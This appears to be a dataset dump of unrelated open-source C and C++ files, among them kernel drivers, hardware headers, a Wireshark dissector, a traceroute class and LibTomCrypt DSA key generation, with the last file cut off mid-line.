text
stringlengths
4
6.14k
/* * Copyright (C) 2012 Yash Shah <blazonware@gmail.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2, * or (at your option) any later version, as published by the Free * Software Foundation * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details * * You should have received a copy of the GNU General Public * License along with this program; if not, write to the * Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #ifndef SIMON_SIMONVISION_EXPORT_H #define SIMON_SIMONVISION_EXPORT_H // needed for KDE_EXPORT and KDE_IMPORT macros #include <kdemacros.h> #ifndef SIMONVISION_EXPORT # if defined(MAKE_SIMONVISION_LIB) // We are building this library # define SIMONVISION_EXPORT KDE_EXPORT # else // We are using this library # define SIMONVISION_EXPORT KDE_IMPORT # endif #endif # ifndef SIMONVISION_EXPORT_DEPRECATED # define SIMONVISION_EXPORT_DEPRECATED KDE_DEPRECATED SIMONVISION_EXPORT # endif #endif
/* * Simple and terrible mem tester. * * Caveat emptor: you need to know the range you're testing, and * make sure this doesn't collide with anything else that's in use. * * Copyright (C) 2016 Andrei Warkentin <andrey.warkentin@gmail.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #include "quik.h" #include "prom.h" #include "commands.h" static quik_err_t memtest(char *args) { uint32_t base = 0; uint32_t size = 0; char *p1 = NULL; char *p2 = NULL; vaddr_t *buf = NULL; vaddr_t *buf_end = NULL; vaddr_t *p = NULL; printk("memtest args: '%s'\n", args); base = strtol(args, &p1, 0); if (p1 == args) { return ERR_CMD_BAD_PARAM; } size = strtol(p1, &p2, 0); if (p2 == p1) { return ERR_CMD_BAD_PARAM; } base = ALIGN_UP(base, SIZE_1M); size = ALIGN_UP(size, SIZE_1M); printk("mem test range 0x%x-0x%x\n", base, base + size); buf = prom_claim((void *) base, size); if (buf == (void *) -1) { return ERR_NO_MEM; } buf_end = (void *) buf + size; p = buf; while (p < buf_end) { if ((vaddr_t) p % SIZE_1M == 0) { printk("Writing 0x%x...\n", p); } *p = (vaddr_t) p; p++; } p = buf; while (p < buf_end) { if ((vaddr_t) p % SIZE_1M == 0) { printk("Reading 0x%x...\n", p); } if (*p != (vaddr_t) p) { printk("bad address 0x%x, got 0x%x\n", p, *p); } p++; } prom_release(buf, size); return ERR_NONE; } COMMAND(memtest, memtest, "simple mem tester");
/*** **Copyright (C) 2005-2009 Freescale Semiconductor, Inc. All Rights Reserved. ** **The code contained herein is licensed under the GNU General Public **License. You may obtain a copy of the GNU General Public License **Version 2 or later at the following locations: ** **http://www.opensource.org/licenses/gpl-license.html **http://www.gnu.org/copyleft/gpl.html **/ /*================================================================================================*/ /** @file usb_HID_test.h @brief header file for USB-HID driver test. */ /* Portability: ARM GCC ==================================================================================================*/ /*================================================================================================== DEFINES AND MACROS ==================================================================================================*/ //#define USB_DEV "otg_message" //#define OTG_APPLICATION //#define OTG_LINUX #define ASSERT(a) if(a != TPASS)rv = TFAIL; /*================================================================================================== INCLUDE FILES ==================================================================================================*/ /*================================================================================================== DEFINES AND MACROS ==================================================================================================*/ //#define USB_HID_DEVICE "/dev/input/event2" //???
/* packet-bpq.c * * Routines for Amateur Packet Radio protocol dissection * Copyright 2005,2006,2007,2008,2009,2010,2012 R.W. Stearn <richard@rns-stearn.demon.co.uk> * * Wireshark - Network traffic analyzer * By Gerald Combs <gerald@wireshark.org> * Copyright 1998 Gerald Combs * * SPDX-License-Identifier: GPL-2.0-or-later */ /* * This dissector is for: * Ethernet encapsulated Amateur AX.25 (AX.25 over Ethernet) * * Information was drawn from: * ? * * It uses Ether ID 0x08ff which is not not officially registered. * */ #include "config.h" #include <epan/packet.h> #include <epan/etypes.h> #include <epan/capture_dissectors.h> #define STRLEN 80 #define BPQ_HEADER_SIZE 2 /* length of bpq_len */ void proto_register_bpq(void); void proto_reg_handoff_bpq(void); static dissector_handle_t bpq_handle; static dissector_handle_t ax25_handle; static capture_dissector_handle_t ax25_cap_handle; static int proto_bpq = -1; static int hf_bpq_len = -1; static gint ett_bpq = -1; static int dissect_bpq( tvbuff_t *tvb, packet_info *pinfo, proto_tree *parent_tree, void* data _U_ ) { proto_item *ti; proto_tree *bpq_tree; int offset; guint16 bpq_len; tvbuff_t *next_tvb; col_set_str( pinfo->cinfo, COL_PROTOCOL, "BPQ" ); col_clear( pinfo->cinfo, COL_INFO ); /* protocol offset for the BPQ header */ offset = 0; bpq_len = tvb_get_letohs( tvb, offset ); col_add_fstr( pinfo->cinfo, COL_INFO, "%u", bpq_len ); if ( parent_tree ) { /* protocol offset for the BPQ header */ offset = 0; /* create display subtree for the protocol */ ti = proto_tree_add_protocol_format( parent_tree, proto_bpq, tvb, offset, BPQ_HEADER_SIZE, "BPQ, Len: %u", bpq_len & 0xfff /* XXX - lower 12 bits? */ ); bpq_tree = proto_item_add_subtree( ti, ett_bpq ); proto_tree_add_item( bpq_tree, hf_bpq_len, tvb, offset, BPQ_HEADER_SIZE, ENC_LITTLE_ENDIAN ); } offset += BPQ_HEADER_SIZE; /* XXX - use the length */ next_tvb = tvb_new_subset_remaining( tvb, offset ); call_dissector( ax25_handle, next_tvb, pinfo, parent_tree ); return tvb_captured_length(tvb); } static gboolean capture_bpq( const guchar *pd, int offset, int len, capture_packet_info_t *cpinfo, const union wtap_pseudo_header *pseudo_header) { int l_offset; if ( ! BYTES_ARE_IN_FRAME( offset, len, BPQ_HEADER_SIZE ) ) return FALSE; l_offset = offset; l_offset += BPQ_HEADER_SIZE; /* step over bpq header to point at the AX.25 packet*/ return call_capture_dissector( ax25_cap_handle, pd, l_offset, len, cpinfo, pseudo_header ); } void proto_register_bpq(void) { /* Setup list of header fields */ static hf_register_info hf[] = { { &hf_bpq_len, { "BPQ len", "bpq.len", FT_UINT16, BASE_DEC, NULL, 0x0, NULL, HFILL } }, }; /* Setup protocol subtree array */ static gint *ett[] = { &ett_bpq, }; /* Register the protocol name and description */ proto_bpq = proto_register_protocol( "Amateur Radio BPQ", "BPQ", "bpq" ); /* Register the dissector */ bpq_handle = register_dissector("bpq", dissect_bpq, proto_bpq); /* Required function calls to register the header fields and subtrees used */ proto_register_field_array( proto_bpq, hf, array_length( hf ) ); proto_register_subtree_array( ett, array_length( ett ) ); } void proto_reg_handoff_bpq(void) { capture_dissector_handle_t bpq_cap_handle; dissector_add_uint("ethertype", ETHERTYPE_BPQ, bpq_handle); bpq_cap_handle = create_capture_dissector_handle(capture_bpq, proto_bpq); capture_dissector_add_uint("ethertype", ETHERTYPE_BPQ, bpq_cap_handle); /* BPQ is only implemented for AX.25 */ ax25_handle = find_dissector_add_dependency( "ax25", proto_bpq ); ax25_cap_handle = find_capture_dissector( "ax25" ); } /* * Editor modelines - https://www.wireshark.org/tools/modelines.html * * Local variables: * c-basic-offset: 8 * tab-width: 8 * indent-tabs-mode: t * End: * * vi: set shiftwidth=8 tabstop=8 noexpandtab: * :indentSize=8:tabSize=8:noTabs=false: */
/* * Copyright (C) 2015,2016,2017,2018 by Jonathan Naylor G4KLX * Copyright (C) 2016,2017,2018 by Andy Uribe CA6JAU * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #if !defined(NXDNRX_H) #define NXDNRX_H #include "NXDNDefines.h" enum NXDNRX_STATE { NXDNRXS_NONE, NXDNRXS_DATA }; class CNXDNRX { public: CNXDNRX(); void databit(bool bit); void reset(); private: NXDNRX_STATE m_state; uint64_t m_bitBuffer; uint8_t m_outBuffer[NXDN_FRAME_LENGTH_BYTES + 3U]; uint8_t* m_buffer; uint16_t m_bufferPtr; uint16_t m_lostCount; void processNone(bool bit); void processData(bool bit); void writeRSSIData(uint8_t* data); }; #endif
#include "Server.h" #include "Options.h" #include "Bandwidth.h" #define NULL_TRACERT 0 #define TEST_TRACERT 1 #define HOPBYHOP_TRACERT 2 #define PACKBYPACK_TRACERT 3 #define CONCURRENT_TRACERT 4 #define SCOUT_TRACERT 5 #define EXHAUSTIVE_TRACERT 6 #define MT_TRACERT 7 #define EXHAUSTIVE_OLD_TRACERT 8 class MtTracert { private: int id; FILE* targets; pthread_mutex_t* targets_lock; pthread_mutex_t* output_lock; //Tracert* t; Server* server; Options * opts; Bandwidth* bw; int addr_count; pthread_t thread; bool terminated; public: MtTracert (Options* opts, int id, Server* icmp_server, FILE* targets, pthread_mutex_t* targets_lock, pthread_mutex_t* output_lock, Bandwidth* bw); virtual ~MtTracert (); void trace(char *dest_addr, int id_initial, int id_max, bool per_dest); int stats (); void runThread (); void startThread (); bool wait(bool block); };
/* * QCA Hy-Fi ECM * * Copyright (c) 2014, The Linux Foundation. All rights reserved. * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <linux/kernel.h> #include <linux/export.h> #include <linux/types.h> #include <linux/skbuff.h> #include <linux/etherdevice.h> #include "hyfi_hash.h" #include "hyfi_hatbl.h" #include "hyfi_ecm.h" /* * Notify about a new connection * returns: * -1: error * 0: okay * 1: not interested * 2: hy-fi not attached */ static int hyfi_ecm_new_connection(struct hyfi_net_bridge *hyfi_br, const struct hyfi_ecm_flow_data_t *flow) { u_int32_t traffic_class; struct net_hatbl_entry *ha = NULL; traffic_class = (flow->flag & IS_IPPROTO_UDP) ? HYFI_TRAFFIC_CLASS_UDP : HYFI_TRAFFIC_CLASS_OTHER; spin_lock_bh(&hyfi_br->hash_ha_lock); /* Find H-Active entry */ ha = hatbl_find(hyfi_br, flow->hash, flow->da, traffic_class, flow->priority); if (ha) { /* Found. Update ecm serial number and return */ ha->ecm_serial = flow->ecm_serial; spin_unlock_bh(&hyfi_br->hash_ha_lock); #if 0 printk("hyfi: New accelerated connection with serial number: %d, hash: 0x%02x\n", flow->ecm_serial, flow->hash); #endif return 0; } else { /* H-Active was not found, look for H-Default entry, and create an * H-Active entry if exists. */ struct net_hdtbl_entry *hd; /* Unlock the ha-lock, and lock the hd-lock */ spin_unlock_bh(&hyfi_br->hash_ha_lock); spin_lock_bh(&hyfi_br->hash_hd_lock); hd = hyfi_hdtbl_find(hyfi_br, flow->da); if (hd) { /* Create a new entry based on H-Default table. The function * will keep the ha-lock if created successfully. */ ha = hyfi_hatbl_insert_ecm_classifier(hyfi_br, flow->hash, traffic_class, hd, flow->priority, flow->sa, flow->ecm_serial); /* Release the hd-lock, we are done with the hd entry */ spin_unlock_bh(&hyfi_br->hash_hd_lock); if(ha) { /* H-Active created. */ spin_unlock_bh(&hyfi_br->hash_ha_lock); #if 0 printk("hyfi: New accelerated connection from HD with serial number: %d, hash: 0x%02x", flow->ecm_serial, flow->hash); #endif return 0; } } else { #if 0 printk("hyfi: no hd to %02X:%02X:%02X:%02X:%02X:%02X\n", flow->da[0], flow->da[1], flow->da[2], flow->da[3], flow->da[4], flow->da[5] ); #endif /* No such H-Default entry, unlock hd-lock */ spin_unlock_bh(&hyfi_br->hash_hd_lock); return 1; } } return 0; } int hyfi_ecm_update_stats(const struct hyfi_ecm_flow_data_t *flow, u_int64_t num_bytes, u_int64_t num_packets) { struct net_hatbl_entry *ha = NULL; struct hyfi_net_bridge *hyfi_br; int ret = 0; if(!num_bytes || !num_packets) return 0; if(!flow) return -1; hyfi_br = hyfi_bridge_get(HYFI_BRIDGE_ME); if(!hyfi_br) { /* Hy-Fi bridge not attached */ return 2; } spin_lock_bh(&hyfi_br->hash_ha_lock); /* Find H-Active entry */ if (flow->ecm_serial != ~0 && (ha = hatbl_find_ecm(hyfi_br, flow->hash, flow->ecm_serial))) { if (!hyfi_ha_has_flag(ha, HYFI_HACTIVE_TBL_ACCL_ENTRY)) { /* This flow is now accelerated */ hyfi_ha_set_flag(ha, HYFI_HACTIVE_TBL_ACCL_ENTRY); ha->prev_num_packets = num_packets; ha->prev_num_bytes = num_bytes; /* Flush seamless buffer - does not apply for accelerate flows */ if (hyfi_ha_has_flag(ha, HYFI_HACTIVE_TBL_SEAMLESS_ENABLED)) { hyfi_ha_clear_flag(ha, HYFI_HACTIVE_TBL_SEAMLESS_ENABLED); hyfi_psw_flush_track_q(&ha->psw_stm_entry); } } ha->num_bytes += num_bytes - ha->prev_num_bytes; ha->num_packets += num_packets - ha->prev_num_packets; ha->prev_num_bytes = num_bytes; ha->prev_num_packets = num_packets; spin_unlock_bh(&hyfi_br->hash_ha_lock); #if 0 printk("hyfi: Updated stats for hash 0x%02x, serial=%d, num_bytes=%d, num_packets=%d\n", flow->hash, flow->ecm_serial, ha->num_bytes, ha->num_packets); #endif return 0; } spin_unlock_bh(&hyfi_br->hash_ha_lock); ret = hyfi_ecm_new_connection(hyfi_br, flow); return ret; } EXPORT_SYMBOL(hyfi_ecm_update_stats);
/******************************************************************************* * File Name: PPM_IN.h * Version 2.5 * * Description: * This file containts Control Register function prototypes and register defines * * Note: * ******************************************************************************** * Copyright 2008-2014, Cypress Semiconductor Corporation. All rights reserved. * You may use this file only in accordance with the license, terms, conditions, * disclaimers, and limitations in the end user license agreement accompanying * the software package with which this file was provided. *******************************************************************************/ #if !defined(CY_PINS_PPM_IN_H) /* Pins PPM_IN_H */ #define CY_PINS_PPM_IN_H #include "cytypes.h" #include "cyfitter.h" #include "PPM_IN_aliases.h" /*************************************** * Function Prototypes ***************************************/ void PPM_IN_Write(uint8 value) ; void PPM_IN_SetDriveMode(uint8 mode) ; uint8 PPM_IN_ReadDataReg(void) ; uint8 PPM_IN_Read(void) ; uint8 PPM_IN_ClearInterrupt(void) ; /*************************************** * API Constants ***************************************/ /* Drive Modes */ #define PPM_IN_DRIVE_MODE_BITS (3) #define PPM_IN_DRIVE_MODE_IND_MASK (0xFFFFFFFFu >> (32 - PPM_IN_DRIVE_MODE_BITS)) #define PPM_IN_DRIVE_MODE_SHIFT (0x00u) #define PPM_IN_DRIVE_MODE_MASK (0x07u << PPM_IN_DRIVE_MODE_SHIFT) #define PPM_IN_DM_ALG_HIZ (0x00u << PPM_IN_DRIVE_MODE_SHIFT) #define PPM_IN_DM_DIG_HIZ (0x01u << PPM_IN_DRIVE_MODE_SHIFT) #define PPM_IN_DM_RES_UP (0x02u << PPM_IN_DRIVE_MODE_SHIFT) #define PPM_IN_DM_RES_DWN (0x03u << PPM_IN_DRIVE_MODE_SHIFT) #define PPM_IN_DM_OD_LO (0x04u << PPM_IN_DRIVE_MODE_SHIFT) #define PPM_IN_DM_OD_HI (0x05u << PPM_IN_DRIVE_MODE_SHIFT) #define PPM_IN_DM_STRONG (0x06u << PPM_IN_DRIVE_MODE_SHIFT) #define PPM_IN_DM_RES_UPDWN (0x07u << PPM_IN_DRIVE_MODE_SHIFT) /* Digital Port Constants */ #define PPM_IN_MASK PPM_IN__MASK #define PPM_IN_SHIFT PPM_IN__SHIFT #define PPM_IN_WIDTH 1u /*************************************** * Registers ***************************************/ /* Main Port Registers */ /* Pin State */ #define PPM_IN_PS (* (reg32 *) PPM_IN__PS) /* Port Configuration */ #define PPM_IN_PC (* (reg32 *) PPM_IN__PC) /* Data Register */ #define PPM_IN_DR (* (reg32 *) PPM_IN__DR) /* Input Buffer Disable Override */ #define PPM_IN_INP_DIS (* (reg32 *) PPM_IN__PC2) #if defined(PPM_IN__INTSTAT) /* Interrupt Registers */ #define PPM_IN_INTSTAT (* (reg32 *) PPM_IN__INTSTAT) #endif /* Interrupt Registers */ #endif /* End Pins PPM_IN_H */ /* [] END OF FILE */
/* * CDE - Common Desktop Environment * * Copyright (c) 1993-2012, The Open Group. All rights reserved. * * These libraries and programs are free software; you can * redistribute them and/or modify them under the terms of the GNU * Lesser General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) * any later version. * * These libraries and programs are distributed in the hope that * they will be useful, but WITHOUT ANY WARRANTY; without even the * implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR * PURPOSE. See the GNU Lesser General Public License for more * details. * * You should have received a copy of the GNU Lesser General Public * License along with these librararies and programs; if not, write * to the Free Software Foundation, Inc., 51 Franklin Street, Fifth * Floor, Boston, MA 02110-1301 USA */ /* $XConsortium: PrintJob.h /main/3 1995/11/06 09:47:08 rswiston $ */ /* * * (c) Copyright 1993, 1994 Hewlett-Packard Company * * (c) Copyright 1993, 1994 International Business Machines Corp. * * (c) Copyright 1993, 1994 Sun Microsystems, Inc. * * (c) Copyright 1993, 1994 Novell, Inc. * */ #ifndef PRINTJOB_H #define PRINTJOB_H #include "BaseObj.h" #include "dtprintinfomsg.h" #include <string.h> // Object Class Name extern const char *PRINTJOB; // Actions extern const char *CANCEL_PRINT_JOB; // Attributes extern const char *PRINTJOB_NAME; extern const char *OWNER; extern const char *JOB_NUMBER; extern const char *JOB_SIZE; extern const char *SUBMITTED; extern const char *DATE_SUBMITTED; extern const char *TIME_SUBMITTED; class PrintJob : public BaseObj { friend int CancelJob(BaseObj *, char **output, BaseObj *requestor); protected: char *_jobNumber; static int CancelJob(BaseObj *, char **output, BaseObj *requestor); public: PrintJob(BaseObj *parent, char *JobName, char *JobNumber, char *Owner, char *Date, char *Time, char *Size); virtual ~PrintJob(); const char *JobNumber() { return _jobNumber; } virtual const char *const ObjectClassName() { return PRINTJOB; } }; #endif // PRINTJOB_H
/* SPDX-License-Identifier: GPL-2.0-or-later */ #include <baseboard/variants.h> #include <boardid.h> #include <device/device.h> #include <drivers/i2c/tpm/chip.h> #include <drivers/uart/acpi/chip.h> #include <soc/gpio.h> static void cr50_devtree_update(void) { const struct device *cr50_dev = DEV_PTR(cr50); struct drivers_i2c_tpm_config *cfg; struct acpi_gpio cr50_irq_gpio = ACPI_GPIO_IRQ_EDGE_LOW(GPIO_3); cfg = config_of(cr50_dev); cfg->irq_gpio = cr50_irq_gpio; } static void fpmcu_devtree_update(void) { const struct device *fpmcu_dev = DEV_PTR(fpmcu); struct drivers_uart_acpi_config *cfg; struct acpi_gpio fpmcu_enable_gpio = ACPI_GPIO_OUTPUT_ACTIVE_HIGH(GPIO_32); cfg = config_of(fpmcu_dev); cfg->enable_gpio = fpmcu_enable_gpio; } void variant_devtree_update(void) { uint32_t board_ver = board_id(); if (board_ver > 1) return; cr50_devtree_update(); fpmcu_devtree_update(); }
/* usage.h, Copyright (C) 2001-2003 Joe Laffey Usage for Whatmask $Revision: 1.6 $ This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef HAVE_CONFIG_H #include <config.h> #else #include "myTypes.h" #endif #include <stdlib.h> #include <stdio.h> #ifndef __dest_os #define __dest_os 6969 #endif #if __dest_os == __win32_os || __dest_os == __mac_os #define EX_USAGE 64 #define EX_DATAERR 65 #else /* Windoze does not have this - or I can't find it... */ #include <sysexits.h> #endif #include "myname.h" #include "usage.h" int usage(void) { #if __dest_os != __mac_os printf("\n%s v%s, Copyright (C) 2001-2003 Joe Laffey <joe@laffeycomputer.com>\n", PACKAGE, VERSION); printf("This binary compiled on %s at %s\n", __DATE__, __TIME__ ); printf("Visit: http://www.laffeycomputer.com/software.html for updates.\n"); printf("%s comes with ABSOLUTELY NO WARRANTY; for details see the COPYING file\nthat accompained this distribution. ", PACKAGE); printf("This is free software, and you are welcome\nto redistribute it"); printf(" under the terms of GNU PUBLIC LICENSE.\n"); #endif printf("\n%s may be used two ways:\n\n", PACKAGE); printf("Given a mask: %s <CIDR bits>\n", PACKAGE); printf(" - or - %s <subnet mask>\n", PACKAGE); printf(" - or - %s <hex subnet mask>\n", PACKAGE); printf(" - or - %s <wildcard bit mask>\n", PACKAGE); printf(" NOTE: %s will autodetect the input and show you all four.\n\n", PACKAGE); printf("Given an ip/mask: %s <IP address>/<netmask>\n", PACKAGE); printf(" <netmask> may be one of the following:\n"); printf(" CIDR notation (e.g. \"24\")\n"); printf(" Netmask notation (e.g. \"255.255.255.0\")\n"); printf(" Hex Netmask notation (e.g. \"0xffffff00\")\n"); printf(" Wildcard bits notation (e.g. \"0.0.0.255\")\n"); printf(" NOTE: %s will autodetect the netmask format.\n", PACKAGE); return(EX_USAGE); }
// ------------------------------------------------------------------------- // ----- CbmEcalReconstructionFastMC header file ----- // ----- Created 22/06/06 by Yu.Kharlov ----- // ------------------------------------------------------------------------- /* $Id: CbmEcalReconstructionFastMC.h,v 1.1 2006/06/22 14:02:17 kharlov Exp $ */ /* History of cvs commits: * * $Log: CbmEcalReconstructionFastMC.h,v $ * Revision 1.1 2006/06/22 14:02:17 kharlov * First upload of reconstruction classes for Full MC * */ /** CbmEcalReconstructionFastMC.h *@author Yu.Kharlov ** ** Class for ECAL reconstruction, Fast MC version: ** calculate 4-momenta of reconstructed particles assuming ** that the particle comes from the target center **/ #ifndef CBMECALRECONSTRUCTIONFASTMC_H #define CBMECALRECONSTRUCTIONFASTMC_H #include "FairTask.h" #include "TClonesArray.h" class CbmEcalReconstructionFastMC : public FairTask { public: /** Default constructor **/ CbmEcalReconstructionFastMC(); /** Standard constructor **/ CbmEcalReconstructionFastMC(const char *name, const Int_t iVerbose=1); /** Destructor **/ virtual ~CbmEcalReconstructionFastMC(); /** Initialization of the task **/ virtual InitStatus Init(); /** Executed task **/ virtual void Exec(Option_t* option); /** Finish task **/ virtual void Finish(); /** method AddHit ** ** Adds a EcalHit to the HitCollection **/ void AddRecParticle(Double_t px, Double_t py, Double_t pz, Double_t E); private: TClonesArray* fListECALhits; // ECAL hits TClonesArray* fListRecParticles; // ECAL reconstructed particles Int_t fNRecParticles; // Number of reconstructed particles Int_t fEvent; //! Internal event counter Double_t fZEcal; // distance from target to ECAL CbmEcalReconstructionFastMC(const CbmEcalReconstructionFastMC&); CbmEcalReconstructionFastMC& operator=(const CbmEcalReconstructionFastMC&); ClassDef(CbmEcalReconstructionFastMC,1) }; #endif
/* * Copyright (C) 2015 Masahiro Yamada <yamada.masahiro@socionext.com> * * SPDX-License-Identifier: GPL-2.0+ */ #ifndef __PINCTRL_UNIPHIER_H__ #define __PINCTRL_UNIPHIER_H__ #include <linux/bug.h> #include <linux/kernel.h> #include <linux/types.h> #define UNIPHIER_PINCTRL_PINMUX_BASE 0x0 #define UNIPHIER_PINCTRL_LOAD_PINMUX 0x700 #define UNIPHIER_PINCTRL_IECTRL 0xd00 #define UNIPHIER_PIN_ATTR_PACKED(iectrl) (iectrl) static inline unsigned int uniphier_pin_get_iectrl(unsigned long data) { return data; } /** * struct uniphier_pinctrl_pin - pin data for UniPhier SoC * * @number: pin number * @data: additional per-pin data */ struct uniphier_pinctrl_pin { unsigned number; unsigned long data; }; /** * struct uniphier_pinctrl_group - pin group data for UniPhier SoC * * @name: pin group name * @pins: array of pins that belong to the group * @num_pins: number of pins in the group * @muxvals: array of values to be set to pinmux registers */ struct uniphier_pinctrl_group { const char *name; const unsigned *pins; unsigned num_pins; const unsigned *muxvals; }; /** * struct uniphier_pinctrl_socdata - SoC data for UniPhier pin controller * * @pins: array of pin data * @pins_count: number of pin data * @groups: array of pin group data * @groups_count: number of pin group data * @functions: array of pinmux function names * @functions_count: number of pinmux functions * @mux_bits: bit width of each pinmux register * @reg_stride: stride of pinmux register address * @load_pinctrl: if true, LOAD_PINMUX register must be set to one for new * values in pinmux registers to become really effective */ struct uniphier_pinctrl_socdata { const struct uniphier_pinctrl_pin *pins; int pins_count; const struct uniphier_pinctrl_group *groups; int groups_count; const char * const *functions; int functions_count; unsigned mux_bits; unsigned reg_stride; bool load_pinctrl; }; #define UNIPHIER_PINCTRL_PIN(a, b) \ { \ .number = a, \ .data = UNIPHIER_PIN_ATTR_PACKED(b), \ } #define UNIPHIER_PINCTRL_GROUP(grp) \ { \ .name = #grp, \ .pins = grp##_pins, \ .num_pins = ARRAY_SIZE(grp##_pins), \ .muxvals = grp##_muxvals + \ BUILD_BUG_ON_ZERO(ARRAY_SIZE(grp##_pins) != \ ARRAY_SIZE(grp##_muxvals)), \ } /** * struct uniphier_pinctrl_priv - private data for UniPhier pinctrl driver * * @base: base address of the pinctrl device * @socdata: SoC specific data */ struct uniphier_pinctrl_priv { void __iomem *base; struct uniphier_pinctrl_socdata *socdata; }; extern const struct pinctrl_ops uniphier_pinctrl_ops; int uniphier_pinctrl_probe(struct udevice *dev, struct uniphier_pinctrl_socdata *socdata); int uniphier_pinctrl_remove(struct udevice *dev); #endif /* __PINCTRL_UNIPHIER_H__ */
/* * Author: MontaVista Software, Inc. <source@mvista.com> * * 2007 (c) MontaVista Software, Inc. This file is licensed under * the terms of the GNU General Public License version 2. This program * is licensed "as is" without any warranty of any kind, whether express * or implied. */ #include <linux/init.h> #include <linux/mvl_patch.h> static __init int regpatch(void) { return mvl_register_patch(1314); } module_init(regpatch);
/* LibTomCrypt, modular cryptographic library -- Tom St Denis * * LibTomCrypt is a library that provides various cryptographic * algorithms in a highly modular and flexible manner. * * The library is free for all purposes without any express * guarantee it works. * * Tom St Denis, tomstdenis@iahu.ca, http://libtomcrypt.org */ #include "mycrypt.h" #ifdef MDSA int dsa_make_key(prng_state *prng, int wprng, int group_size, int modulus_size, dsa_key *key) { mp_int tmp, tmp2; int err, res; unsigned char buf[512]; _ARGCHK(key != NULL); /* check prng */ if ((err = prng_is_valid(wprng)) != CRYPT_OK) { return err; } /* check size */ if (group_size >= 1024 || group_size <= 15 || group_size >= modulus_size || (modulus_size - group_size) >= (int)sizeof(buf)) { return CRYPT_INVALID_ARG; } /* init mp_ints */ if ((err = mp_init_multi(&tmp, &tmp2, &key->g, &key->q, &key->p, &key->x, &key->y, NULL)) != MP_OKAY) { return mpi_to_ltc_error(err); } /* make our prime q */ if ((err = rand_prime(&key->q, group_size*8, prng, wprng)) != CRYPT_OK) { goto error2; } /* double q */ if ((err = mp_mul_2(&key->q, &tmp)) != MP_OKAY) { goto error; } /* now make a random string and multply it against q */ if (prng_descriptor[wprng].read(buf+1, modulus_size - group_size, prng) != (unsigned long)(modulus_size - group_size)) { err = CRYPT_ERROR_READPRNG; goto error2; } /* force magnitude */ buf[0] = 1; /* force even */ buf[modulus_size - group_size] &= ~1; if ((err = mp_read_unsigned_bin(&tmp2, buf, modulus_size - group_size+1)) != MP_OKAY) { goto error; } if ((err = mp_mul(&key->q, &tmp2, &key->p)) != MP_OKAY) { goto error; } if ((err = mp_add_d(&key->p, 1, &key->p)) != MP_OKAY) { goto error; } /* now loop until p is prime */ for (;;) { if ((err = is_prime(&key->p, &res)) != CRYPT_OK) { goto error2; } if (res == MP_YES) break; /* add 2q to p and 2 to tmp2 */ if ((err = mp_add(&tmp, &key->p, &key->p)) != MP_OKAY) { goto error; } if ((err = mp_add_d(&tmp2, 2, &tmp2)) != MP_OKAY) { goto error; } } /* now p = (q * tmp2) + 1 is prime, find a value g for which g^tmp2 != 1 */ mp_set(&key->g, 1); do { if ((err = mp_add_d(&key->g, 1, &key->g)) != MP_OKAY) { goto error; } if ((err = mp_exptmod(&key->g, &tmp2, &key->p, &tmp)) != MP_OKAY) { goto error; } } while (mp_cmp_d(&tmp, 1) == MP_EQ); /* at this point tmp generates a group of order q mod p */ mp_exch(&tmp, &key->g); /* so now we have our DH structure, generator g, order q, modulus p Now we need a random exponent [mod q] and it's power g^x mod p */ do { if (prng_descriptor[wprng].read(buf, group_size, prng) != (unsigned long)group_size) { err = CRYPT_ERROR_READPRNG; goto error2; } if ((err = mp_read_unsigned_bin(&key->x, buf, group_size)) != MP_OKAY) { goto error; } } while (mp_cmp_d(&key->x, 1) != MP_GT); if ((err = mp_exptmod(&key->g, &key->x, &key->p, &key->y)) != MP_OKAY) { goto error; } key->type = PK_PRIVATE; key->qord = group_size; /* shrink the ram required */ if ((err = mp_shrink(&key->g)) != MP_OKAY) { goto error; } if ((err = mp_shrink(&key->p)) != MP_OKAY) { goto error; } if ((err = mp_shrink(&key->q)) != MP_OKAY) { goto error; } if ((err = mp_shrink(&key->x)) != MP_OKAY) { goto error; } if ((err = mp_shrink(&key->y)) != MP_OKAY) { goto error; } err = CRYPT_OK; #ifdef 